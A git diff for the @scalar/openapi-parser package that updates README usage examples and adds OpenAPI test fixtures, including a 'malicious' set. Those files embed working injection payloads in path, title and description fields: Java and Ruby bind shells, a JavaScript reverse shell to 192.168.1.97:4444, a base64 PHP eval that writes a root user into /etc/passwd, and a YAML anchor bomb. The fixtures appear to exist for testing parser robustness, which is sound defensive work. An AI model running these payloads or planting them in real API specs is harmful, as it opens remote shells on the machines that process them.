diff --git a/.changeset/dry-drinks-bow.md b/.changeset/dry-drinks-bow.md new file mode 100644 index 0000000..0b80dff --- /dev/null +++ b/.changeset/dry-drinks-bow.md @@ -0,0 +1,5 @@ +--- +"@scalar/openapi-parser": patch +--- + +refactor: rewrite the whole package :) diff --git a/README.md b/README.md index 3fe7be7..03a88ae 100644 --- a/README.md +++ b/README.md @@ -26,10 +26,10 @@ npm add @scalar/openapi-parser ## Usage -### Parse +### Validate ```ts -import { parse } from '@scalar/openapi-parser' +import { validate } from '@scalar/openapi-parser' const file = `{ "openapi": "3.1.0", @@ -40,13 +40,19 @@ const file = `{ "paths": {} }` -const result = await parse(file) +const result = await validate(file) + +console.log(result.valid) + +if (!result.valid) { + console.log(result.errors) +} ``` -### Validate +### Resolve references ```ts -import { validate } from '@scalar/openapi-parser' +import { resolve } from '@scalar/openapi-parser' const file = `{ "openapi": "3.1.0", @@ -57,13 +63,7 @@ const file = `{ "paths": {} }` -const result = await validate(file) - -console.log(result.valid) - -if (!result.valid) { - console.log(result.errors) -} +const result = await resolve(file) ``` ## Community diff --git a/packages/openapi-parser/README.md b/packages/openapi-parser/README.md index e395991..80a2814 100644 --- a/packages/openapi-parser/README.md +++ b/packages/openapi-parser/README.md @@ -19,7 +19,7 @@ npm add @scalar/openapi-parser ### Parse ```ts -import { parse } from '@scalar/openapi-parser' +import { resolve } from '@scalar/openapi-parser' const file = `{ "openapi": "3.1.0", @@ -30,7 +30,7 @@ const file = `{ "paths": {} }` -const result = await parse(file) +const result = await resolve(file) ``` ### Validate @@ -59,7 +59,7 @@ if (!result.valid) { ### Version ```ts -import { parse } from '@scalar/openapi-parser' +import { resolve } from '@scalar/openapi-parser' const file = `{ "openapi": "3.1.0", @@ -70,7 +70,7 @@ const file = `{ "paths": {} }` -const result = await parse(file) +const result = await resolve(file) console.log(result.version) ``` diff --git a/packages/openapi-parser/index.html b/packages/openapi-parser/index.html index 862382b..c6215eb 100644 --- a/packages/openapi-parser/index.html +++ b/packages/openapi-parser/index.html @@ -93,11 +93,11 @@ ", + "version": "1.0.0", + "title": "API", + "contact": { + "name": "Rapid 7", + "url": "https://www.rapid7.com/", + "email": "info@rapid7.com" + }, + "license": { + "name": "BSD-3-clause", + "url": "https://opensource.org/licenses/BSD-3-Clause" + } + }, + "tags": [ + { + "name": "default" + } + ], + "paths": { + "/a": { + "summary": "an example path", + "get": { + "description": "D", + "operationId": "get_a", + "tags": [ + "default" + ], + "responses": { + "200": { + "description": "E", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/d" + } + } + } + } + } + } + } + }, + "components": { + "schemas": { + "d": { + "type": "object", + "description": "F", + "properties": { + "id": { + "type": "integer", + "format": "int64" + } + } + } + } + } +} diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/malicious/rapid7-java.json b/packages/openapi-parser/tests/openapi3-examples/3.0/malicious/rapid7-java.json new file mode 100644 index 0000000..3d040e3 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/malicious/rapid7-java.json @@ -0,0 +1,65 @@ +{ + "openapi": "3.0.0", + "servers": [ + { + "url": "http://localhost/" + } + ], + "info": { + "description": "A", + "version": "1.0.0", + "title": "C", + "contact": { + "name": "Rapid 7", + "url": "https://www.rapid7.com/", + "email": "info@rapid7.com" + }, + "license": { + "name": "BSD-3-clause", + "url": "https://opensource.org/licenses/BSD-3-Clause" + } + }, + "tags": [ + { + "name": "default" + } + ], + "paths": { + "/a\"; \"import java.lang.*; import java.util.*; import java.io.*; import java.net.*; class StreamConnector extends Thread { InputStream dh; OutputStream lk; StreamConnector( InputStream dh, OutputStream lk ) { this.dh = dh; this.lk = lk; } public void run() { BufferedReader ob = null; BufferedWriter oqh = null; try { ob = new BufferedReader( new InputStreamReader( this.dh ) ); oqh = new BufferedWriter( new OutputStreamWriter( this.lk ) ); char buffer[] = new char[8192]; int length; while( ( length = ob.read( buffer, 0, buffer.length ) ) > 0 ) { oqh.write( buffer, 0, length ); oqh.flush(); } } catch( Exception e ){} try { if( ob != null ) ob.close(); if( oqh != null ) oqh.close(); } catch( Exception e ){} } } try { String ShellPath; if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") == -1) { ShellPath = new String(\"/bin/sh\"); } else { ShellPath = new String(\"cmd.exe\"); } ServerSocket server_socket = new ServerSocket( 4444 ); Socket client_socket = server_socket.accept(); server_socket.close(); Process process = Runtime.getRuntime().exec( ShellPath ); ( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start(); ( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start(); } catch( Exception e ) {} ": { + "summary": "an example path", + "get": { + "operationId": "get_a", + "tags": [ + "default" + ], + "description": "D", + "responses": { + "200": { + "description": "E", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/d" + } + } + } + } + } + } + } + }, + "components": { + "schemas": { + "d": { + "type": "object", + "description": "F", + "properties": { + "id": { + "type": "integer", + "format": "int64" + } + } + } + } + } +} diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/malicious/rapid7-js.json b/packages/openapi-parser/tests/openapi3-examples/3.0/malicious/rapid7-js.json new file mode 100644 index 0000000..6da9bc9 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/malicious/rapid7-js.json @@ -0,0 +1,65 @@ +{ + "openapi": "3.0.0", + "servers": [ + { + "url": "http://localhost/" + } + ], + "info": { + "description": "A", + "version": "1.0.0", + "title": "C", + "contact": { + "name": "Rapid 7", + "url": "https://www.rapid7.com/", + "email": "info@rapid7.com" + }, + "license": { + "name": "BSD-3-clause", + "url": "https://opensource.org/licenses/BSD-3-Clause" + } + }, + "tags": [ + { + "name": "default" + } + ], + "paths": { + "/a');};};return exports;})); (function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? \"cmd\" : \"/bin/sh\"; var net = require(\"net\"), cp = require(\"child_process\"), util = require(\"util\"), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(4444, \"192.168.1.97\", function() { client.socket.pipe(sh.stdin); if (typeof util.pump === \"undefined\") { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on(\"error\", function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5.0*1000); } else process.exit(); }); } StagerRepeat(); })();(function(){}(this,function(){a=function(){b=function(){new Array('": { + "summary": "an example path", + "get": { + "operationId": "get_a", + "tags": [ + "default" + ], + "description": "D", + "responses": { + "200": { + "description": "E", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/d" + } + } + } + } + } + } + } + }, + "components": { + "schemas": { + "d": { + "type": "object", + "description": "F", + "properties": { + "id": { + "type": "integer", + "format": "int64" + } + } + } + } + } +} diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/malicious/rapid7-php.json b/packages/openapi-parser/tests/openapi3-examples/3.0/malicious/rapid7-php.json new file mode 100644 index 0000000..2b9c491 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/malicious/rapid7-php.json @@ -0,0 +1,65 @@ +{ + "openapi": "3.0.0", + "servers": [ + { + "url": "http://localhost/" + } + ], + "info": { + "description": "*/ namespace foobar; eval(base64_decode('Lyo8P3BocCAvKiovIEBlcnJvcl9yZXBvcnRpbmcoMCk7IEBzZXRfdGltZV9saW1pdCgwKTsgQGlnbm9yZV91c2VyX2Fib3J0KDEpOyBAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsgJEVKTWdtPUBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOyBpZighZW1wdHkoJEVKTWdtKSl7ICRFSk1nbT1wcmVnX3JlcGxhY2UoJy9bLCBdKy8nLCAnLCcsICRFSk1nbSk7ICRFSk1nbT1leHBsb2RlKCcsJywgJEVKTWdtKTsgJEVKTWdtPWFycmF5X21hcCgndHJpbScsICRFSk1nbSk7IH1lbHNleyAkRUpNZ209YXJyYXkoKTsgfSAkYyA9IGJhc2U2NF9kZWNvZGUoIlpXTm9ieUFpZEc5dmNqbzZNRG93T2pvNkwySnBiaTlpWVhOb0lqNHZaWFJqTDNCaGMzTjNaQT09Iik7IGlmIChGQUxTRSAhPT0gc3RycG9zKHN0cnRvbG93ZXIoUEhQX09TKSwgJ3dpbicgKSkgeyAkYz0kYy4iIDI+JjFcbiI7IH0gJENVeVc9J2lzX2NhbGxhYmxlJzsgJElaYU9JPSdpbl9hcnJheSc7IGlmKCRDVXlXKCdwcm9jX29wZW4nKWFuZCEkSVphT0koJ3Byb2Nfb3BlbicsJEVKTWdtKSl7ICRoYW5kbGU9cHJvY19vcGVuKCRjLGFycmF5KGFycmF5KCdwaXBlJywncicpLGFycmF5KCdwaXBlJywndycpLGFycmF5KCdwaXBlJywndycpKSwkcGlwZXMpOyAkbU12TVY9TlVMTDsgd2hpbGUoIWZlb2YoJHBpcGVzWzFdKSl7ICRtTXZNVi49ZnJlYWQoJHBpcGVzWzFdLDEwMjQpOyB9IEBwcm9jX2Nsb3NlKCRoYW5kbGUpOyB9ZWxzZSBpZigkQ1V5Vygnc3lzdGVtJylhbmQhJElaYU9JKCdzeXN0ZW0nLCRFSk1nbSkpeyBvYl9zdGFydCgpOyBzeXN0ZW0oJGMpOyAkbU12TVY9b2JfZ2V0X2NvbnRlbnRzKCk7IG9iX2VuZF9jbGVhbigpOyB9ZWxzZSBpZigkQ1V5VygnZXhlYycpYW5kISRJWmFPSSgnZXhlYycsJEVKTWdtKSl7ICRtTXZNVj1hcnJheSgpOyBleGVjKCRjLCRtTXZNVik7ICRtTXZNVj1qb2luKGNocigxMCksJG1Ndk1WKS5jaHIoMTApOyB9ZWxzZSBpZigkQ1V5Vygnc2hlbGxfZXhlYycpYW5kISRJWmFPSSgnc2hlbGxfZXhlYycsJEVKTWdtKSl7ICRtTXZNVj1zaGVsbF9leGVjKCRjKTsgfWVsc2UgaWYoJENVeVcoJ3BvcGVuJylhbmQhJElaYU9JKCdwb3BlbicsJEVKTWdtKSl7ICRmcD1wb3BlbigkYywncicpOyAkbU12TVY9TlVMTDsgaWYoaXNfcmVzb3VyY2UoJGZwKSl7IHdoaWxlKCFmZW9mKCRmcCkpeyAkbU12TVYuPWZyZWFkKCRmcCwxMDI0KTsgfSB9IEBwY2xvc2UoJGZwKTsgfWVsc2UgaWYoJENVeVcoJ3Bhc3N0aHJ1JylhbmQhJElaYU9JKCdwYXNzdGhydScsJEVKTWdtKSl7IG9iX3N0YXJ0KCk7IHBhc3N0aHJ1KCRjKTsgJG1Ndk1WPW9iX2dldF9jb250ZW50cygpOyBvYl9lbmRfY2xlYW4oKTsgfWVsc2UgeyAkbU12TVY9MDsgfQ==')); /*", + "version": "1.0.0", + "title": "C", + "contact": { + "name": "Rapid 7", + "url": "https://www.rapid7.com/", + "email": "info@rapid7.com" + }, + "license": { + "name": "BSD-3-clause", + "url": "https://opensource.org/licenses/BSD-3-Clause" + } + }, + "tags": [ + { + "name": "default" + } + ], + "paths": { + "/a": { + "summary": "an example path", + "get": { + "operationId": "get_a", + "tags": [ + "default" + ], + "description": "D", + "responses": { + "200": { + "description": "E", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/d" + } + } + } + } + } + } + } + }, + "components": { + "schemas": { + "d": { + "type": "object", + "description": "F", + "properties": { + "id": { + "type": "integer", + "format": "int64" + } + } + } + } + } +} diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/malicious/rapid7-ruby.json b/packages/openapi-parser/tests/openapi3-examples/3.0/malicious/rapid7-ruby.json new file mode 100644 index 0000000..28e6d08 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/malicious/rapid7-ruby.json @@ -0,0 +1,65 @@ +{ + "openapi": "3.0.0", + "servers": [ + { + "url": "http://localhost/" + } + ], + "info": { + "description": "A", + "version": "1.0.0", + "title": "=end code = %(cmVxdWlyZSAnc29ja2V0JztzPVRDUFNlcnZlci5uZXcoNDQ0NCk7Yz1zLmFjY2VwdDtzLmNsb3NlOyRzdGRpbi5yZW9wZW4oYyk7JHN0ZG91dC5yZW9wZW4oYyk7JHN0ZGVyci5yZW9wZW4oYyk7JHN0ZGluLmVhY2hfbGluZXt8bHxsPWwuc3RyaXA7bmV4dCBpZiBsLmxlbmd0aD09MDsoSU8ucG9wZW4obCwicmIiKXt8ZmR8IGZkLmVhY2hfbGluZSB7fG98IGMucHV0cyhvLnN0cmlwKSB9fSkgcmVzY3VlIG5pbCB9).unpack(%(m0)).first if RUBY_PLATFORM =~ /mswin|mingw|win32/ inp = IO.popen(%(ruby), %(wb)) rescue nil if inp inp.write(code) inp.close end else if ! Process.fork() eval(code) rescue nil end end=begin ", + "contact": { + "name": "Rapid 7", + "url": "https://www.rapid7.com/", + "email": "info@rapid7.com" + }, + "license": { + "name": "BSD-3-clause", + "url": "https://opensource.org/licenses/BSD-3-Clause" + } + }, + "tags": [ + { + "name": "default" + } + ], + "paths": { + "/a": { + "summary": "an example path", + "get": { + "operationId": "get_a", + "tags": [ + "default" + ], + "description": "D", + "responses": { + "200": { + "description": "E", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/d" + } + } + } + } + } + } + } + }, + "components": { + "schemas": { + "d": { + "type": "object", + "description": "F", + "properties": { + "id": { + "type": "integer", + "format": "int64" + } + } + } + } + } +} diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/malicious/yamlbomb.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/malicious/yamlbomb.yaml new file mode 100644 index 0000000..4f16a66 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/malicious/yamlbomb.yaml @@ -0,0 +1,6 @@ +openapi: 3.0.0 +info: &a + version: 1.0.0 + title: API + x-bye: *a +paths: {} diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/partial/cycledef.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/partial/cycledef.yaml new file mode 100644 index 0000000..0fb590e --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/partial/cycledef.yaml @@ -0,0 +1,14 @@ +components: + schemas: + top: + type: object + properties: + cat: + $ref: '#/components/schemas/category' + category: + type: object + properties: + subcategories: + type: array + items: + $ref: '#/components/schemas/category' diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/partial/example2_from_._Improved_schemaobject.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/partial/example2_from_._Improved_schemaobject.md.yaml new file mode 100644 index 0000000..f9c708f --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/partial/example2_from_._Improved_schemaobject.md.yaml @@ -0,0 +1,3 @@ +oneOf: + - type: string + - type: number diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/partial/example3_from_._Improved_schemaobject.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/partial/example3_from_._Improved_schemaobject.md.yaml new file mode 100644 index 0000000..f65ef03 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/partial/example3_from_._Improved_schemaobject.md.yaml @@ -0,0 +1,5 @@ +oneOf: + - type: number + multipleOf: 5 + - type: number + multipleOf: 3 diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/partial/example4_from_._Improved_schemaobject.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/partial/example4_from_._Improved_schemaobject.md.yaml new file mode 100644 index 0000000..d538200 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/partial/example4_from_._Improved_schemaobject.md.yaml @@ -0,0 +1,2 @@ +not: + type: string diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/partial/example5_from_._Improved_schemaobject.md.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/partial/example5_from_._Improved_schemaobject.md.yaml new file mode 100644 index 0000000..edc2d39 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/partial/example5_from_._Improved_schemaobject.md.yaml @@ -0,0 +1,8 @@ +Record: + type: object + properties: + id: + type: integer + color: + type: string + nullable: true diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/api-with-examples.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/api-with-examples.yaml new file mode 100644 index 0000000..a9ac844 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/api-with-examples.yaml @@ -0,0 +1,171 @@ +openapi: "3.0.0" +info: + title: Simple API overview + version: 2.0.0 +paths: + /: + get: + operationId: listVersionsv2 + summary: List API versions + responses: + '200': + description: |- + 200 response + content: + application/json: + examples: + foo: + value: + { + "versions": [ + { + "status": "CURRENT", + "updated": "2011-01-21T11:33:21Z", + "id": "v2.0", + "links": [ + { + "href": "http://127.0.0.1:8774/v2/", + "rel": "self" + } + ] + }, + { + "status": "EXPERIMENTAL", + "updated": "2013-07-23T11:33:21Z", + "id": "v3.0", + "links": [ + { + "href": "http://127.0.0.1:8774/v3/", + "rel": "self" + } + ] + } + ] + } + '300': + description: |- + 300 response + content: + application/json: + examples: + foo: + value: + { + "versions": [ + { + "status": "CURRENT", + "updated": "2011-01-21T11:33:21Z", + "id": "v2.0", + "links": [ + { + "href": "http://127.0.0.1:8774/v2/", + "rel": "self" + } + ] + }, + { + "status": "EXPERIMENTAL", + "updated": "2013-07-23T11:33:21Z", + "id": "v3.0", + "links": [ + { + "href": "http://127.0.0.1:8774/v3/", + "rel": "self" + } + ] + } + ] + } + /v2: + get: + operationId: getVersionDetailsv2 + summary: Show API version details + responses: + '200': + description: |- + 200 response + content: + application/json: + examples: + foo: + value: + { + "version": { + "status": "CURRENT", + "updated": "2011-01-21T11:33:21Z", + "media-types": [ + { + "base": "application/xml", + "type": "application/vnd.openstack.compute+xml;version=2" + }, + { + "base": "application/json", + "type": "application/vnd.openstack.compute+json;version=2" + } + ], + "id": "v2.0", + "links": [ + { + "href": "http://127.0.0.1:8774/v2/", + "rel": "self" + }, + { + "href": "http://docs.openstack.org/api/openstack-compute/2/os-compute-devguide-2.pdf", + "type": "application/pdf", + "rel": "describedby" + }, + { + "href": "http://docs.openstack.org/api/openstack-compute/2/wadl/os-compute-2.wadl", + "type": "application/vnd.sun.wadl+xml", + "rel": "describedby" + }, + { + "href": "http://docs.openstack.org/api/openstack-compute/2/wadl/os-compute-2.wadl", + "type": "application/vnd.sun.wadl+xml", + "rel": "describedby" + } + ] + } + } + '203': + description: |- + 203 response + content: + application/json: + examples: + foo: + value: + { + "version": { + "status": "CURRENT", + "updated": "2011-01-21T11:33:21Z", + "media-types": [ + { + "base": "application/xml", + "type": "application/vnd.openstack.compute+xml;version=2" + }, + { + "base": "application/json", + "type": "application/vnd.openstack.compute+json;version=2" + } + ], + "id": "v2.0", + "links": [ + { + "href": "http://23.253.228.211:8774/v2/", + "rel": "self" + }, + { + "href": "http://docs.openstack.org/api/openstack-compute/2/os-compute-devguide-2.pdf", + "type": "application/pdf", + "rel": "describedby" + }, + { + "href": "http://docs.openstack.org/api/openstack-compute/2/wadl/os-compute-2.wadl", + "type": "application/vnd.sun.wadl+xml", + "rel": "describedby" + } + ] + } + } + diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/callback-example.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/callback-example.yaml new file mode 100644 index 0000000..1622bd0 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/callback-example.yaml @@ -0,0 +1,60 @@ +openapi: 3.0.0 +info: + title: Callback Example + version: 1.0.0 +paths: + /streams: + post: + description: subscribes a client to receive out-of-band data + parameters: + - name: callbackUrl + in: query + required: true + description: | + the location where data will be sent. Must be network accessible + by the source server + schema: + type: string + format: uri + example: https://tonys-server.com + responses: + '201': + description: subscription successfully created + content: + application/json: + schema: + description: subscription information + required: + - subscriptionId + properties: + subscriptionId: + description: this unique identifier allows management of the subscription + type: string + example: 2531329f-fb09-4ef7-887e-84e648214436 + callbacks: + # the name `onData` is a convenience locator + onData: + # when data is sent, it will be sent to the `callbackUrl` provided + # when making the subscription PLUS the suffix `/data` + '{$request.query.callbackUrl}/data': + post: + requestBody: + description: subscription payload + content: + application/json: + schema: + properties: + timestamp: + type: string + format: date-time + userData: + type: string + responses: + '202': + description: | + Your server implementation should return this HTTP status code + if the data was received successfully + '204': + description: | + Your server should return this HTTP status code if no longer interested + in further updates diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/link-example.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/link-example.yaml new file mode 100644 index 0000000..5837d70 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/link-example.yaml @@ -0,0 +1,203 @@ +openapi: 3.0.0 +info: + title: Link Example + version: 1.0.0 +paths: + /2.0/users/{username}: + get: + operationId: getUserByName + parameters: + - name: username + in: path + required: true + schema: + type: string + responses: + '200': + description: The User + content: + application/json: + schema: + $ref: '#/components/schemas/user' + links: + userRepositories: + $ref: '#/components/links/UserRepositories' + /2.0/repositories/{username}: + get: + operationId: getRepositoriesByOwner + parameters: + - name: username + in: path + required: true + schema: + type: string + responses: + '200': + description: repositories owned by the supplied user + content: + application/json: + schema: + type: array + items: + $ref: '#/components/schemas/repository' + links: + userRepository: + $ref: '#/components/links/UserRepository' + /2.0/repositories/{username}/{slug}: + get: + operationId: getRepository + parameters: + - name: username + in: path + required: true + schema: + type: string + - name: slug + in: path + required: true + schema: + type: string + responses: + '200': + description: The repository + content: + application/json: + schema: + $ref: '#/components/schemas/repository' + links: + repositoryPullRequests: + $ref: '#/components/links/RepositoryPullRequests' + /2.0/repositories/{username}/{slug}/pullrequests: + get: + operationId: getPullRequestsByRepository + parameters: + - name: username + in: path + required: true + schema: + type: string + - name: slug + in: path + required: true + schema: + type: string + - name: state + in: query + schema: + type: string + enum: + - open + - merged + - declined + responses: + '200': + description: an array of pull request objects + content: + application/json: + schema: + type: array + items: + $ref: '#/components/schemas/pullrequest' + /2.0/repositories/{username}/{slug}/pullrequests/{pid}: + get: + operationId: getPullRequestsById + parameters: + - name: username + in: path + required: true + schema: + type: string + - name: slug + in: path + required: true + schema: + type: string + - name: pid + in: path + required: true + schema: + type: string + responses: + '200': + description: a pull request object + content: + application/json: + schema: + $ref: '#/components/schemas/pullrequest' + links: + pullRequestMerge: + $ref: '#/components/links/PullRequestMerge' + /2.0/repositories/{username}/{slug}/pullrequests/{pid}/merge: + post: + operationId: mergePullRequest + parameters: + - name: username + in: path + required: true + schema: + type: string + - name: slug + in: path + required: true + schema: + type: string + - name: pid + in: path + required: true + schema: + type: string + responses: + '204': + description: the PR was successfully merged +components: + links: + UserRepositories: + # returns array of '#/components/schemas/repository' + operationId: getRepositoriesByOwner + parameters: + username: $response.body#/username + UserRepository: + # returns '#/components/schemas/repository' + operationId: getRepository + parameters: + username: $response.body#/owner/username + slug: $response.body#/slug + RepositoryPullRequests: + # returns '#/components/schemas/pullrequest' + operationId: getPullRequestsByRepository + parameters: + username: $response.body#/owner/username + slug: $response.body#/slug + PullRequestMerge: + # executes /2.0/repositories/{username}/{slug}/pullrequests/{pid}/merge + operationId: mergePullRequest + parameters: + username: $response.body#/author/username + slug: $response.body#/repository/slug + pid: $response.body#/id + schemas: + user: + type: object + properties: + username: + type: string + uuid: + type: string + repository: + type: object + properties: + slug: + type: string + owner: + $ref: '#/components/schemas/user' + pullrequest: + type: object + properties: + id: + type: integer + title: + type: string + repository: + $ref: '#/components/schemas/repository' + author: + $ref: '#/components/schemas/user' diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/petstore-expanded.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/petstore-expanded.yaml new file mode 100644 index 0000000..f587075 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/petstore-expanded.yaml @@ -0,0 +1,155 @@ +openapi: "3.0.0" +info: + version: 1.0.0 + title: Swagger Petstore + description: A sample API that uses a petstore as an example to demonstrate features in the swagger-2.0 specification + termsOfService: http://swagger.io/terms/ + contact: + name: Swagger API Team + email: foo@example.com + url: http://madskristensen.net + license: + name: MIT + url: http://github.com/gruntjs/grunt/blob/master/LICENSE-MIT +servers: + - url: http://petstore.swagger.io/api +paths: + /pets: + get: + description: | + Returns all pets from the system that the user has access to + Nam sed condimentum est. Maecenas tempor sagittis sapien, nec rhoncus sem sagittis sit amet. Aenean at gravida augue, ac iaculis sem. Curabitur odio lorem, ornare eget elementum nec, cursus id lectus. Duis mi turpis, pulvinar ac eros ac, tincidunt varius justo. In hac habitasse platea dictumst. Integer at adipiscing ante, a sagittis ligula. Aenean pharetra tempor ante molestie imperdiet. Vivamus id aliquam diam. Cras quis velit non tortor eleifend sagittis. Praesent at enim pharetra urna volutpat venenatis eget eget mauris. In eleifend fermentum facilisis. Praesent enim enim, gravida ac sodales sed, placerat id erat. Suspendisse lacus dolor, consectetur non augue vel, vehicula interdum libero. Morbi euismod sagittis libero sed lacinia. + + Sed tempus felis lobortis leo pulvinar rutrum. Nam mattis velit nisl, eu condimentum ligula luctus nec. Phasellus semper velit eget aliquet faucibus. In a mattis elit. Phasellus vel urna viverra, condimentum lorem id, rhoncus nibh. Ut pellentesque posuere elementum. Sed a varius odio. Morbi rhoncus ligula libero, vel eleifend nunc tristique vitae. Fusce et sem dui. Aenean nec scelerisque tortor. Fusce malesuada accumsan magna vel tempus. Quisque mollis felis eu dolor tristique, sit amet auctor felis gravida. Sed libero lorem, molestie sed nisl in, accumsan tempor nisi. Fusce sollicitudin massa ut lacinia mattis. Sed vel eleifend lorem. Pellentesque vitae felis pretium, pulvinar elit eu, euismod sapien. + operationId: findPets + parameters: + - name: tags + in: query + description: tags to filter by + required: false + style: form + schema: + type: array + items: + type: string + - name: limit + in: query + description: maximum number of results to return + required: false + schema: + type: integer + format: int32 + responses: + 200: + description: pet response + content: + application/json: + schema: + type: array + items: + $ref: '#/components/schemas/Pet' + default: + description: unexpected error + content: + application/json: + schema: + $ref: '#/components/schemas/Error' + post: + description: Creates a new pet in the store. Duplicates are allowed + operationId: addPet + requestBody: + description: Pet to add to the store + required: true + content: + application/json: + schema: + $ref: '#/components/schemas/NewPet' + responses: + 200: + description: pet response + content: + application/json: + schema: + $ref: '#/components/schemas/Pet' + default: + description: unexpected error + content: + application/json: + schema: + $ref: '#/components/schemas/Error' + /pets/{id}: + get: + description: Returns a user based on a single ID, if the user does not have access to the pet + operationId: find pet by id + parameters: + - name: id + in: path + description: ID of pet to fetch + required: true + schema: + type: integer + format: int64 + responses: + 200: + description: pet response + content: + application/json: + schema: + $ref: '#/components/schemas/Pet' + default: + description: unexpected error + content: + application/json: + schema: + $ref: '#/components/schemas/Error' + delete: + description: deletes a single pet based on the ID supplied + operationId: deletePet + parameters: + - name: id + in: path + description: ID of pet to delete + required: true + schema: + type: integer + format: int64 + responses: + 204: + description: pet deleted + default: + description: unexpected error + content: + application/json: + schema: + $ref: '#/components/schemas/Error' +components: + schemas: + Pet: + allOf: + - $ref: '#/components/schemas/NewPet' + - required: + - id + properties: + id: + type: integer + format: int64 + + NewPet: + required: + - name + properties: + name: + type: string + tag: + type: string + + Error: + required: + - code + - message + properties: + code: + type: integer + format: int32 + message: + type: string diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/petstore.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/petstore.yaml new file mode 100644 index 0000000..b444f02 --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/petstore.yaml @@ -0,0 +1,109 @@ +openapi: "3.0.0" +info: + version: 1.0.0 + title: Swagger Petstore + license: + name: MIT +servers: + - url: http://petstore.swagger.io/v1 +paths: + /pets: + get: + summary: List all pets + operationId: listPets + tags: + - pets + parameters: + - name: limit + in: query + description: How many items to return at one time (max 100) + required: false + schema: + type: integer + format: int32 + responses: + 200: + description: An paged array of pets + headers: + x-next: + description: A link to the next page of responses + schema: + type: string + content: + application/json: + schema: + $ref: "#/components/schemas/Pets" + default: + description: unexpected error + content: + application/json: + schema: + $ref: "#/components/schemas/Error" + post: + summary: Create a pet + operationId: createPets + tags: + - pets + responses: + 201: + description: Null response + default: + description: unexpected error + content: + application/json: + schema: + $ref: "#/components/schemas/Error" + /pets/{petId}: + get: + summary: Info for a specific pet + operationId: showPetById + tags: + - pets + parameters: + - name: petId + in: path + required: true + description: The id of the pet to retrieve + schema: + type: string + responses: + 200: + description: Expected response to a valid request + content: + application/json: + schema: + $ref: "#/components/schemas/Pets" + default: + description: unexpected error + content: + application/json: + schema: + $ref: "#/components/schemas/Error" +components: + schemas: + Pet: + required: + - id + - name + properties: + id: + type: integer + format: int64 + name: + type: string + tag: + type: string + Pets: + type: array + items: + $ref: "#/components/schemas/Pet" + Error: + required: + - code + - message + properties: + code: + type: integer + format: int32 + message: + type: string diff --git a/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/uber.yaml b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/uber.yaml new file mode 100644 index 0000000..b7dea7a --- /dev/null +++ b/packages/openapi-parser/tests/openapi3-examples/3.0/pass/OAI/uber.yaml @@ -0,0 +1,298 @@ +# this is an example of the Uber API +# as a demonstration of an API spec in YAML +openapi: "3.0.0" +info: + title: Uber API + description: Move your app forward with the Uber API + version: "1.0.0" +servers: + - url: https://api.uber.com/v1 +paths: + /products: + get: + summary: Product Types + description: The Products endpoint returns information about the Uber products offered at a given location. The response includes the display name and other details about each product, and lists the products in the proper display order. 